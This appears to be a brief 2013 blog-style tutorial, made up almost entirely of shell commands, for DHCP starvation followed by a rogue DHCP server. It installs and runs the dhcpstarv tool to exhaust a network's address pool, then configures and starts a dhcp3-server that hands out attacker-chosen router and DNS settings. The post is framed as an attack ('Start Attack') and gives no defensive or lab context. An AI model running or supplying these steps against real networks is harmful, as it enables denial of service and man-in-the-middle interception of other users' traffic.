25 October, 2013

DHCP Starvation and Rogue DHCP Server

Download and Instal dhcpstarv <.>

root@bt:~# tar xvfz dhcpstarv-0.2.1.tar.gz
root@bt:~# cd dhcpstarv-0.2.1
root@bt:dhcpstarv-0.2.1# ./configure
root@bt:dhcpstarv-0.2.1# make
root@bt:dhcpstarv-0.2.1# make install

Start Attack 
root@bt:# dhcpstarv [-i Interface] [-e Exclude]
Ejample: 
root@bt:~# dhcpstarv -v -i eth2 -e 10.0.10.2

Download DHCP Server
root@bt:~# apt-get install dhcp3-server -y

Make Backup File
root@bt:~# cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.config.backup

Set your DHCP Pool Information
root@bt:~# vi /etc/dhcp3/dhcpd.conf

ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option domain-name "microsoft.com";
option broadcast-address 192.168.2.255;
option routers 192.168.2.1;
option domain-name-servers 8.8.8.8;
range 192.168.2.51 192.168.2.100;
}

Tell DHCP wich configuration to use
root@bt:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid eth0

Start DHCP Server
root@bt:~# /etc/init.d/dhcp3-server start